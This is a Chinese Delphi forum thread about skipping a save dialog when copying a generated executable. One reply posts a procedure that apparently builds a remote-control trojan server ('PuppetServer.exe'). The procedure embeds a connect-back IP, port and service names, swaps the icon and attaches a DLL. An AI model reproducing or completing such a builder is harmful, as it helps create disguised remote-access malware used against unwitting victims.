Procedure TForm.BtnClick1(Sender:TObject);  
Var
  Save1:TSaveDialog;   
  ResultFilePath:PChar;
  DatPath,BakPath:PChar;
Begin
  DatPath:=pchar(extractFilePath(application.exeName)+'files\a.exe');
  BakPath:=pchar(extractFilePath(application.exeName)+'files\b.exe');=====================================================================
  Save1:=TSaveDialog.Create(Application);            
  Save1.DefaultExt:='exe';
  Save1.Title:='程序';
  Save1.FileName:='c.exe';
  Save1.Filter:='可执行文件|*.exe';
  ResultFilePath:=pchar(Save1.FileName);   //服务端名字这段代码就是弹出保存的对方框,让我选择a.exe保存为c.exe=====================================================================CopyFile(DatPath,BakPath,False);  //DatPath复制到BakPath,false是覆盖.    a.exe复制给b.bakCopyFile(BakPath,ResultFilePath,False);  //BakPath复制到ResultFilePath,false是覆盖.   b.bak复制给ResultFilePath也就是save1.filename最终保存为c.exe我想直接单击BtnClick1不弹出对话框,而是直接保存为c.exe,如何修改代码?望前辈们指教!...
...
...
end.

解决方案 »

  1.   

    Save1.FileName是客户选择的路径,对话框是提供用户选择的,要是不想选择你就直接写死在程序里面
      

  2.   

    看下生成器的代码  还有CreateFile 和Writefile
      

  3.   

    Procedure TFormConfigServer.BtnBuildClick(Sender:TObject);  //生成服务端
    Var
      Con1:string;
      ConfigIni:String;   //正在更新上线信息 ...等等的显示出
      SerType:String;     //BITS
      SaveServer:TSaveDialog;   //自定义打开保存并写入配置信息到服务端里
      ResultFilePath:PChar;
      DatPath,DllPath,BakPath:PChar;   //服务端exe,DLL,备份
    Begin
      If ComprobarDatosValidos() Then
        Begin
          DatPath:=pchar(extractFilePath(application.exeName)+'Config\ServerConfig.exe');
          DllPath:=pchar(extractFilePath(application.exeName)+'Config\PuppetMain.dll');
          BakPath:=pchar(extractFilePath(application.exeName)+'Config\Cache.bak');    // ResultFilePath:= pchar('\Config\1.exe');      SaveServer:=TSaveDialog.Create(Application);
          SaveServer.DefaultExt:='exe';
          SaveServer.Title:='生成服务端';
          SaveServer.FileName:='PuppetServer.exe';
          SaveServer.Filter:='可执行文件|*.exe';
          ResultFilePath:=pchar(SaveServer.FileName);   //服务端名字      If Not SaveServer.Execute Then
            exit;      If (FileExists(DatPath)=false) Then
            Begin
              MessageBoxA(0,pchar(DatPath+' 文件丢失 ...'),'提示',MB_OK);
              exit;
            End;
          If (FileExists(DllPath)=false) Then
            Begin
              MessageBoxA(0,pchar(DllPath+' 文件丢失 ...'),'提示',MB_OK);
              exit;
            End;      CopyFile(DatPath,BakPath,False);      If BITS.Checked Then
            SerType:='0'
          Else
            SerType:='1';
          ConfigIni:=EditIP.Text+'|'+EditPort.Text+'|'+EditTime.Text+'|'+SerNameT.Text+'|'+SerName2T.Text+'|'+SerTextT.Text+'|'+SerType+'|';
          MemoOutput.Lines.Append('> 正在更新上线信息 ...');      If WriteSettings(PChar(BakPath),ConfigIni)=True Then
            Begin
              StatusBar.Panels[0].Text:='上线信息写入成功 ...';
              MemoOutput.Lines.Append('> 上线信息写入成功 ...');
            End
          Else
            Begin
              MessageBeep($FFFFFFFF);
              StatusBar.Panels[0].Text:='上线信息写入失败 ...';
              MemoOutput.Lines.Append('> 上线信息写入失败 ...');
              exit;
            End;
          MemoOutput.Lines.Append('> 正在更新图标资源 ...');
          ImageIcon.Picture.Icon.SaveToFile('temp.ico'); //临时ICO      If UpdateExeIcon(BakPath,'MAINICON','temp.ico')=true Then
            Begin
              MemoOutput.Lines.Append('> 图标资源写入成功 ...')
            End
          Else
            Begin
              MemoOutput.Lines.Append('> 图标资源写入失败 ...');
              exit;
            End;
          DeleteFile('temp.ico'); //删除临时ICO      MemoOutput.Lines.Append('> 正在装载服务端dll文件 ...');
          If AddDllToExe(BakPath,DllPath)=true Then
            Begin
              MemoOutput.Lines.Append('> 装载服务端dll文件成功 ...');
              MemoOutput.Lines.Append('> 服务端已经配置完成 ...');
            End
          Else
            Begin
              MemoOutput.Lines.Append('> 装载服务端dll文件失败 ...');
              exit;
            End;
          CopyFile(BakPath,ResultFilePath,False);
          DeleteFile(BakPath);
          StatusBar.Panels[0].Text:='服务端已经配置完成 ...';
         // DeleteFile('ServerConfig.exe');
         // DeleteFile('PuppetMain.dll');
        application.MessageBox('服务端生成在\Config\PuppetServer.exe   ','提示',mb_iconinformation or mb_defbutton1 or mb_ok);  
        End;
    End;
    望前辈们指教!
      

  4.   

    楼上的楼上能否把这个函数发出来
    UpdateExeIcon
      

  5.   

    Procedure TForm.BtnClick1(Sender:TObject);   
    Var
      Save1:TSaveDialog;   
      ResultFilePath:PChar;
      DatPath,BakPath:PChar;
    Begin
      DatPath:=pchar(extractFilePath(application.exeName)+'files\a.exe');
      BakPath:=pchar(extractFilePath(application.exeName)+'files\b.exe');=====================================================================
    {  Save1:=TSaveDialog.Create(Application);   
      Save1.DefaultExt:='exe';
      Save1.Title:='程序';
      Save1.FileName:='c.exe';
      Save1.Filter:='可执行文件|*.exe';
      ResultFilePath:=pchar(Save1.FileName); //服务端名字
    }
    这段代码就是弹出保存的对方框,让我选择a.exe保存为c.exe
      ResultFilePath:='c:\c.exe'; //假如儲存在C: 根目錄下。
    =====================================================================CopyFile(DatPath,BakPath,False); //DatPath复制到BakPath,false是覆盖. a.exe复制给b.bakCopyFile(BakPath,ResultFilePath,False); //BakPath复制到ResultFilePath,false是覆盖. b.bak复制给ResultFilePath也就是save1.filename最终保存为c.exe我想直接单击BtnClick1不弹出对话框,而是直接保存为c.exe,如何修改代码?望前辈们指教!...
    ...
    ...
    end.
    以上紅色字體不要,就是寫死了。